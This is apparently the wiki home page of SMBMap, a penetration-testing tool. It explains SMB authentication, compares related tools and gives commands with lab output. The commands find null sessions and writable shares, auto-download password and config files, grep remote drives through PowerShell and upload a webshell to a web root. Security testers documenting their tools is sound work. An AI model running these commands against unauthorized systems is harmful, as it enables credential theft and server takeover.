-
Notifications
You must be signed in to change notification settings - Fork 346
Home
SMBMap was created nearly seven years ago. Originally based on a Python library called PySMB, it has since migrated to Impacket and evolved from a half-baked idea to a more mature tool worthy of inclusion in distros such as Kali Linux. While the feature set has grown, the core functionality that inspired its creation and ultimate utility has remained unchanged and is just as relevant today as it was seven years ago.
SMBMap is at its core an SMB client. SMB or server message block is a network communications protocol used to share resources such files, drives, and printers and interprocess communications called named pipes. SMB protocol was invented around 1985 by engineers at IBM, but not widely adopted until the early 90s when Microsoft pushed the protocol into their server and consumer operating systems.
SMB protocol was initially underpinned by NetBIOS to provide an easy means for nodes to identify SMB services on the network. While this solution was functional, NetBIOS is a broadcast protocol, which caused significant network congestion, particularly in large environments. NetBIOS was eventually superseded by Dynamic DNS, and performance further increased with changes to the protocol in SMB v2.0 and v3.0.
The protocol provides an inter-process communication mechanism, which facilitates functions such as remote administration and authentication. For authentication, SMB protocol initially relied on LAN Man and NTLM, and was later enhanced to support NTLMv2 and Kerberos authentication. In an over simplified context NTLM is analogous to local authentication where Kerberos is associated with active directory server authentication. While this isn’t technically accurate, it helps conceptualize how SMB handles authentication. For our purposes, SMBMap only leverages NTLM authentication. When a client authenticates to an SMB resource, the domain specified in the request instructs if the credentials are to be compared against a local SAM hive or passed to a domain controller for verification and validation. The primary difference between NTLM and Kerberos is that NTLM only authenticates the client, whereas Kerberos validates the client and server via a ticketing service.
SMBMap is a handy SMB enumeration utility! While core OS utilities exist that provide the ability to query SMB servers for lists of shared resources, these tools lack the ability to enumerate privileges. SMBMap was developed to address this gap. The tool was created with penetration testing in mind. SMB shares within large corporate network environments represent a substantial attack surface. It’s something of a rabbit hole or the wild west, and the larger the size of a network the more difficult securing these resources becomes.
As penetration testers, it is our duty to evaluate and exploit risk. The confluence of complex networks and limited time necessitates the ability to quickly and efficiently identify critical resources (domain controllers, database servers, web servers, etc) and discover means through which they could be targeted in attacks that could hopefully result in remote command execution. The notions of complexity and finite time introduces compromise. There’s never enough time to exhaustively evaluate everything, but sufficient time to identify the most critical areas of risk. SMBMap can be integrated into a testing methodology that facilitates the mass evaluation of SMB share resources in a relatively quick and efficient manner, commensurate with the constraints of an engagement. This is why SMBMap exists, and the reason why after seven years I still use it on every single internal network assessment. It’s an enormous blind spot in most organizations, and prior to SMBMap it remained difficult to know the true risk lurking in the data being shared via SMB.
First, keep in mind that SMBMap fills a fairly niche gap within a larger penetration testing methodology. SMB is a protocol ripe for exploitation, exemplified but the abundance of incredible tools available to the pen testing community. Many of these tools have functional overlap. After all, they all in some way shape or form communicate via SMB. But, they all fill a different gap, and I’d like to briefly cover general use cases for other SMB tools.
Enum4Linux is an older tool, but it still checks out. It’s a Perl script, but really it’s a well thought out wrapper for smbclient, nmblookup, and rpcclient. The primary benefit of Enum4Linux is the ability to quickly dump data from servers with a NULL session enabled. On your vanilla workstation this typically means you have limited access to share data. However, on a domain controller you can hit pay dirt and dump the user accounts, groups, group memberships, and in some instances password policy information.
CrackMapExec is the bees knees. It can match SMBMap one-to-one in features, and do an astonishing amount more. If you could only take one tool on an internal engagement, it should be CrackMapExec. It has features that can enumerate shares, search shares, auto download, recursive Grep across drives, remote command execution, Mimikatz modules, LSA secret dump modules, and the list goes on and on. However, with the deep feature set of CrackMapExec comes increased complexity, in terms of syntax and dependencies. The command syntax and general use isn't nearly as approachable as SMBMap, which is why I still use SMBMap for general SMB share enumeration and file discovery, despite it being overshadowed in nearly every area.
Metasploit is a framework, not a tool, and it is packed with modules dedicated to interacting with SMB servers. While the functionality is deep, I most often use MSF for the "smb_login" and "smb_enumusers_domain" modules. The "smb_login" module is well suited for password spraying attacks. For example, identifying accounts protected by a weak password such as “Password1”. Once you’ve achieved remote command execution on a number of systems, the "smb_enumusers_domain" module provides a great way to quickly enumerate what users are logged into a system. This is very helpful in identifying systems that have a privileged account (such as a domain admin) logged in, which aids in prioritizing systems for compromise.
Responder is a clever man-in-the-middle tool that takes advantage of broadcast protocols, such as LLMNR and NetBIOS, to poison name resolution responses. Although modern versions of the SMB protocol no longer rely on NetBIOS for name resolution, it is backwards compatible with NetBIOS. Responder provides a great means through which NetNTLMv2 hashes can be intercepted in transit as a result of the poisoned name requests. As hashes are intercepted, it’s then possible to use "ntlmrelayx.py" (of the wonderful Impacket library) to relay these hashes to hosts that lack the protection of SMB signing. If you’re lucky you intercept and relay the hash of an administrator and do things like remotely execute arbitrary commands. Who doesn’t love that?
So, how can SMBMap be used in an offensive security engagement? The obvious answer is that it can enumerate shares, but there’s more tactful ways to evaluate and exploit risk with SMBMap. Let’s review some use cases for common attacks.
Identifying a NULL session on a system can grant unauthorized access to a wide variety of resources, up to and including remote command execution (though rare). This is a nice way to shoot for low hanging misconfigurations across multiple hosts. The idea is simple - use no username, no password, and get a session anyways. The syntax is simple:
Command:
$ ./smbmap.py --host-file smb-hosts.txt
Command arguments:
--host-file: file containing a list of hosts, one host/IP per line
Sample output:
$ ./smbmap.py --host-file test.txt
[!] 445 not open on 192.168.86.45....
[!] 445 not open on 192.168.86.250....
[!] Authentication error on 192.168.86.46
[+] IP: 192.168.86.43:445 Name: shawnevans-pc.lan
[+] Guest session IP: 192.168.86.20:445 Name: debian.lan
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
Htdocs NO ACCESS web application root
IPC$ NO ACCESS IPC Service (Samba 4.5.16-Debian)
SMB services represent a substantial attack surface within most large corporate network environments. Each SMB server can potentially host hundreds of gigabytes of data. Storing massive volumes of data is relatively cheap. As pen testers we’re faced with the challenge of finding specific needles in a pile of needles. SMBMap has features designed specifically to address this challenge. SMBMap can recursively (-R) or non-recursively (-r) enumerate files on a share drive, and automatically download any files that match a user defined regular expression pattern (-A ‘pattern’). When performing a recursive search SMBMap accepts arguments that can limit the traversal depth to increase performance (--depth). Furthermore, SMBMap can exclude certain shares (--exclude), such as IPC$ or ADMIN$, to eliminate time wasted traversering shares that rarely (if ever?) contain sensitive files.
Command:
$ ./smbmap.py --host-file smb-hosts.txt u ‘jsmith’ -p ‘Spring!2020’ -q -R --depth 2 --exclude ADMIN$ IPC$ -A ‘passw’
Command arguments:
--host-file: file containing a list of hosts, one host/IP per line.
-u: account to authenticate with
-p: password for account
-q: quiet the verbosity of the output, excludes shares with “no access” or listing drive contents when performing a search
-R: perform a recursive search
--depth: recursive traversal depth, avoid the rabbit holes
--exclude: exclude specific shares that rarely contain interesting files
-A: auto download flag that uses a regular expression pattern to match against filenames
Sample output:
$ ./smbmap.py --host-file test.txt -u administrator -p asdf1234 -q -R --depth 2 --exclude ADMIN$ IPC$ C$ C -A 'passw'
[+] BAM: ADMIN!!! IP: 192.168.86.46:445 Name: desktop-m8n2dcc.lan
[+] BAM: ADMIN!!! IP: 192.168.86.43:445 Name: shawnevans-pc.lan
[+] Starting search for files matching 'passw' on share Users.
[+] Match found! Downloading: Users\Administrator\password.txt
[+] IP: 192.168.86.20:445 Name: debian.lan
[+] Starting search for files matching 'passw' on share print$.
[+] Starting search for files matching 'passw' on share htdocs.
[+] Starting search for files matching 'passw' on share administrator.
Using SMBMap I’ve had the opportunity to evaluate thousands of SMB shared resources. One of the surprisingly common resources I’ve found shared in corporate network environments is the root directory of web applications hosted within the internal environment. Even more surprising is the frequency with which these resources are deployed with read and write permissions assigned to basic domain user accounts. The ability to write files to the web root of an application server introduces the possibility of server compromise leveraging a web shell to execute arbitrary commands. The methodology is fairly straightforward, but the trick is isolating web servers vulnerable to this confluence of misconfigurations. Thankfully, SMBMap makes this process easy.
Web application servers all have a few things in common. They all host application source code and they (generally) host an application configuration file. The predictable nature of these constants make it fairly easy to craft a regular expression that captures these conditions across a large number of possible targets.
Command:
$ ./smbmap.py --host-file smb-hosts.txt -u ‘jsmith’ -p ‘Spring!2020’ -d ‘ACME’ -q -R --depth 3 --exclude ADMIN$ IPC$ -A ‘(web|server|global|index|login|logout|auth|httpd|config).(xml|config|conf|asax|aspx|php|asp|jsp|html)’
Command Arguments:
--host-file: file containing a list of hosts, one host/IP per line
-u: account to authenticate with
-p: password for account
-d: domain to authenticate against
-q: quiet the verbosity of the output, excludes shares with “no access” or listing drive contents when performing a search
-R: perform a recursive search
--depth: recursive traversal depth, avoid the rabbit holes
--exclude: exclude specific shares that rarely contain interesting files
-A: auto download flag that uses a regular expression pattern to match against filenames
Sample output:
$ ./smbmap.py --host-file test.txt -u administrator -p asdf1234 -q -R --depth 2 --exclude ADMIN$ IPC$ C$ C -A '(web|server|global|index|login|logout|auth|httpd|config).(xml|config|conf|asax|aspx|php|asp|jsp|html)'
[+] BAM: ADMIN!!! IP: 192.168.86.46:445 Name: desktop-m8n2dcc.lan
[+] BAM: ADMIN!!! IP: 192.168.86.43:445 Name: shawnevans-pc.lan
[+] Starting search for files matching '(web|server|global|index|login|logout|auth|httpd|config).(xml|config|conf|asax|aspx|php|asp|jsp|html)' on share Users.
[+] IP: 192.168.86.20:445 Name: debian.lan
[+] Starting search for files matching '(web|server|global|index|login|logout|auth|httpd|config).(xml|config|conf|asax|aspx|php|asp|jsp|html)' on share print$.
[+] Starting search for files matching '(web|server|global|index|login|logout|auth|httpd|config).(xml|config|conf|asax|aspx|php|asp|jsp|html)' on share htdocs.
[+] Match found! Downloading: htdocs\config.php
[+] Match found! Downloading: htdocs\index.html
[+] Starting search for files matching '(web|server|global|index|login|logout|auth|httpd|config).(xml|config|conf|asax|aspx|php|asp|jsp|html)' on share administrator.
Useful tip: When files are downloaded the filename will always reflect the source host and path where the file was located, formatted: "<ip.address>-<share>_<path1>_<path2>_<pathN>.<extension>"
. This makes it easy to zero on targets for continued attacks. The files listed below correlate with the files downloaded in the above sample command:
$ ls -la
total 196
drwxr-xr-x 6 shawnevans shawnevans 36864 Mar 4 14:29 .
drwxr-xr-x 32 shawnevans shawnevans 4096 Feb 19 14:20 ..
-rw-r--r-- 1 shawnevans shawnevans 168 Mar 4 14:29 192.168.86.20-htdocs_config.php
-rw-r--r-- 1 shawnevans shawnevans 2148 Mar 4 14:29 192.168.86.20-htdocs_index.html
The above SMBMap command recursively scans SMB share drives for the presence of web application configuration and source code files, and auto downloads any files that match the pattern. Assuming the scan results in a few hits, the data gathered provides pen testers with a number of data points to plan additional attacks. Source code can be analyzed for the presence of credentials, SQL injection, encryption methods, and other areas of risk. Web application configuration files often contain clear-text database credentials, which could provide an attacker with direct access to the application database. These conditions alone introduce unnecessary risk, but it’s possible that the servers that hosted the files had write permissions granted to unauthorized users. In these instances, SMBMap can be leveraged to upload a web shell to the web root of the vulnerable application server.
One of the most basic uses and primary differentiators of SMBMap is to enumerate permissions across SMB share drives. This method of analysis allows a pen tester to quickly identify systems hosting a dense concentration of shared data, as well as systems deployed with misconfigured permissions.
Command:
$ ./smbmap.py --host-file test.txt -u administrator -p asdf1234 -q
Command arguments:
--host-file: file containing a list of hosts, one host/IP per line
-u: account to authenticate with
-p: password for account
-q: quiet the verbosity of the output, excludes shares with “no access” or listing drive contents when performing a search
Sample Output:
$ ./smbmap.py --host-file test.txt -u administrator -p asdf1234 -q
[+] IP: 192.168.86.46:445 Name: desktop-m8n2dcc.lan
Disk Permissions Comment
---- ----------- -------
ADMIN$ READ, WRITE Remote Admin
C READ ONLY
C$ READ, WRITE Default share
IPC$ READ ONLY Remote IPC
[+] IP: 192.168.86.43:445 Name: shawnevans-pc.lan
Disk Permissions Comment
---- ----------- -------
ADMIN$ READ, WRITE Remote Admin
C$ READ, WRITE Default share
Users READ, WRITE
[+] IP: 192.168.86.20:445 Name: debian.lan
Disk Permissions Comment
---- ----------- -------
print$ READ ONLY Printer Drivers
htdocs READ, WRITE web application root
administrator READ ONLY Home Directories
The above command output indicates that READ and WRITE permissions were granted on the “htdocs” share hosted at IP address “192.168.86.20”. The ability to write to the web root is a strong indicator that remote command execution is achievable on the victim host.
Once the proper alignment of favorable attack conditions has been identified within an environment, it’s possible to compromise the web server by uploading a webshell to the misconfigured web application root directory. The command syntax is fairly simple
Command:
$ ./smbmap.py -H 192.168.86.20 -u ‘administrator’ -p ‘asdf1234’ -upload websell.php ‘htdocs\nopsec.php’
Command arguments :
-H: IP address of target host
-u: account to authenticate with
-p: password for account
-d: domain to authenticate against
--upload: specify the local source and remote destination of the file being uploaded
Sample output:
$ ./smbmap.py -H 192.168.86.20 -u administrator -p asdf1234 --upload ~/scripts/webshell.php 'htdocs\nopsec.php'
[+] Starting upload: /home/biff/scripts/webshell.php (348 bytes)
[+] Upload complete
Once uploaded it’s then possible to access the malicious webshell in a browser, and execute remote commands against the victim server, which can be leveraged in privilege escalation and intelligence gathering attacks, as demonstrated in the figure below.
SMBMap supports the ability to start a PowerShell subprocess on a victim host and spider a local drive (such as C:\Users) for instances of a user defined regular expression within a file, kind of like a remote Grep. This method of identifying potentially sensitive files requires administrative rights on a system and the target host must operate on a version of Windows with PowerShell enabled. Assuming these conditions are satisfied, it’s possible to run this search across hundreds of hosts in tandem. It should be noted that this can cause a CPU spike on the victim host and take a significant amount of time to complete. Finally, this scan type requires that SMBMap be executed as ‘root’, because an SMB server is started on TCP port 445.
Command:
$ sudo ./smbmap.py --host-file test.txt -u administrator -p asdf1234 -F password' --search-timeout 500
Command arguments:
--host-file: file containing a list of hosts, one host/IP per line.
-u: account to authenticate with
-p: password for account
-F: regular expression pattern to search for in files
--search-timeout: time in seconds before the PowerShell job is killed
Sample output:
$ sudo ./smbmap.py --host-file test.txt -u administrator -p asdf1234 -F password
[!] 445 not open on 192.168.86.45....
[!] 445 not open on 192.168.86.250....
[+] Job 07ae7b25a01742c293b40e402b07b86a started on 192.168.86.46, result will be stored at C:\Users\ADMINI~1\AppData\Local\Temp\07ae7b25a01742c293b40e402b07b86a.txt
[+] Job d994f7bfffa54a39a9dfc1b08a472e78 started on 192.168.86.43, result will be stored at C:\Users\ADMINI~1\AppData\Local\Temp\d994f7bfffa54a39a9dfc1b08a472e78.txt
[+] File search started on 2 hosts in directory C:\Users...this could take a while
[+] Checking on search results, be patient, drives tend to be big...
[+] Starting download: C$\Users\ADMINI~1\AppData\Local\Temp\d994f7bfffa54a39a9dfc1b08a472e78.txt (50846 bytes)
[+] File output to: /home/shawnevans/tools/smbmap/192.168.86.43-C_Users_ADMINI~1_AppData_Local_Temp_d994f7bfffa54a39a9dfc1b08a472e78.txt
[+] Job 1 of 2 completed on 192.168.86.43...
[+] File successfully deleted: C$\Users\ADMINI~1\AppData\Local\Temp\d994f7bfffa54a39a9dfc1b08a472e78.txt
[+] Starting download: C$\Users\ADMINI~1\AppData\Local\Temp\07ae7b25a01742c293b40e402b07b86a.txt (0 bytes)
[+] File output to: /home/shawnevans/tools/smbmap/192.168.86.46-C_Users_ADMINI~1_AppData_Local_Temp_07ae7b25a01742c293b40e402b07b86a.txt
[+] Job 2 of 2 completed on 192.168.86.46...
[+] File successfully deleted: C$\Users\ADMINI~1\AppData\Local\Temp\07ae7b25a01742c293b40e402b07b86a.txt
[+] All jobs complete
Host: 192.168.86.43 Pattern: password
Path
----
C:\Users\Administrator\password.txt
C:\Users\shawnevans\test.txt
Host: 192.168.86.46 Pattern: password
No matching patterns found
Note: This feature hasn’t been as thoroughly tested as it needs to be, and there are known bugs. The SMB server throws an exception in the threading library. Everything still works with the SMB server, however the error is annoying. There’s also the nagging issue that it lacks a graceful cleanup for the file content search. If SMBMap hits an exception before the jobs finish up, then those jobs will run until they are finished and any output files will remain in the %TEMP% directory.
SMBMap has additional features not thoroughly documented in this article, but they are relatively straightforward to use. Without going into much detail, please see the command references below.
-v: Return the OS version of the remote system
Sample output:
$ sudo ./smbmap.py --host-file test.txt -u administrator -p asdf1234 -v -q
[+] 192.168.86.46:445 is running Windows 10.0 Build 18362 (name:DESKTOP-M8N2DCC) (domain:DESKTOP-M8N2DCC)
[+] 192.168.86.43:445 is running Windows 6.1 Build 7601 (name:SHAWNEVANS-PC) (domain:SHAWNEVANS-PC)
[+] 192.168.86.20:445 is running Windows 6.1 Build 0 (name:DEBIAN) (domain:DEBIAN)
-g: Output drive listings in a Grep friendly format
Sample output:
$ sudo ./smbmap.py -H 192.168.86.20 -u administrator -p asdf1234 -r -g
host:192.168.86.20, privs:READ_ONLY, isDir:d, name:print$\x64, fileSize:0, date:Wed May 8 16:23:36 2019
host:192.168.86.20, privs:READ_ONLY, isDir:d, name:print$\IA64, fileSize:0, date:Wed May 8 16:23:36 2019
host:192.168.86.20, privs:READ_ONLY, isDir:d, name:print$\W32ALPHA, fileSize:0, date:Wed May 8 16:23:36 2019
host:192.168.86.20, privs:READ_ONLY, isDir:d, name:print$\W32PPC, fileSize:0, date:Wed May 8 16:23:36 2019
host:192.168.86.20, privs:READ_ONLY, isDir:d, name:print$\W32X86, fileSize:0, date:Wed May 8 16:23:36 2019
host:192.168.86.20, privs:READ_ONLY, isDir:d, name:print$\W32MIPS, fileSize:0, date:Wed May 8 16:23:36 2019
host:192.168.86.20, privs:READ_ONLY, isDir:d, name:print$\COLOR, fileSize:0, date:Wed May 8 16:23:36 2019
host:192.168.86.20, privs:READ_ONLY, isDir:d, name:print$\WIN40, fileSize:0, date:Wed May 8 16:23:36 2019
host:192.168.86.20, privs:READ_WRITE, isDir:f, name:htdocs\applications.html, fileSize:1524, date:Sat Feb 1 09:08:21 2020
host:192.168.86.20, privs:READ_WRITE, isDir:f, name:htdocs\bitnami.css, fileSize:7442, date:Sat Feb 1 09:08:17 2020
host:192.168.86.20, privs:READ_WRITE, isDir:f, name:htdocs\nopsec.php, fileSize:348, date:Wed Mar 4 14:33:10 2020
host:192.168.86.20, privs:READ_WRITE, isDir:f, name:htdocs\config.php, fileSize:168, date:Wed Mar 4 14:22:51 2020
host:192.168.86.20, privs:READ_WRITE, isDir:d, name:htdocs\img, fileSize:0, date:Sat Feb 1 09:08:19 2020
host:192.168.86.20, privs:READ_WRITE, isDir:f, name:htdocs\503.html, fileSize:1384, date:Sat Feb 1 09:08:17 2020
host:192.168.86.20, privs:READ_WRITE, isDir:f, name:htdocs\test.php, fileSize:348, date:Wed Mar 4 14:32:53 2020
host:192.168.86.20, privs:READ_WRITE, isDir:f, name:htdocs\index.html, fileSize:2148, date:Thu Feb 27 09:35:57 2020
host:192.168.86.20, privs:READ_WRITE, isDir:f, name:htdocs\favicon.ico, fileSize:1150, date:Tue Aug 27 10:02:51 2019
host:192.168.86.20, privs:READ_ONLY, isDir:f, name:administrator\.bashrc, fileSize:3526, date:Thu Feb 27 11:39:09 2020
host:192.168.86.20, privs:READ_ONLY, isDir:f, name:administrator\.bash_logout, fileSize:220, date:Thu Feb 27 11:39:09 2020
host:192.168.86.20, privs:READ_ONLY, isDir:f, name:administrator\.profile, fileSize:675, date:Thu Feb 27 11:39:09 2020
-L: List all local and mapped drives on a target host
Sample output:
$ sudo ./smbmap.py --host-file test.txt -u administrator -p asdf1234 -L
[!] 445 not open on 192.168.86.45....
[!] 445 not open on 192.168.86.250....
[+] Host 192.168.86.46 Local Drives: C:\ D:\ Y:\ Z:\
[+] Host 192.168.86.46 Net Drive(s):
No mapped network drives
[+] Host 192.168.86.43 Local Drives: C:\ D:\ X:\ Y:\ Z:\
[+] Host 192.168.86.43 Net Drive(s):
Unavailable R: \\192.168.86.92\roms Microsoft Windows Network
X: \\VBoxSvr\Pictures
Y: \\VBoxSvr\Downloads
Z: \\VBoxSvr\Documents
--admin: Only list hosts where you can execute commands
Sample output:
$ sudo ./smbmap.py --host-file test.txt -u administrator -p asdf1234 --admin -q
[+] BAM: ADMIN! IP: 192.168.86.46:445 Name: desktop-m8n2dcc.lan
[+] BAM: ADMIN! IP: 192.168.86.43:445 Name: shawnevans-pc.lan
I hope this article provided some insight. Network scanning can be like finding a needle in a haystack. Thanks for reading!
In case you were curious - SMBMap is constantly being noodled with. Here are some features currently in development:
- _ * Support for mixed input files CIDR and single hosts/IPs_
- __* Support for Nmap XML as input __
- * Support for host lists to be read from stdin
- * Threading (I’ve only been saying this for 7 years)
- __* Exclusions for specific paths (not just shares) __
- * Better cleanup routines to ensure no output is left on a host (file content search)
CREATIVE COMMONS LICENSE V1. ALL RIGHTS RESERVED ©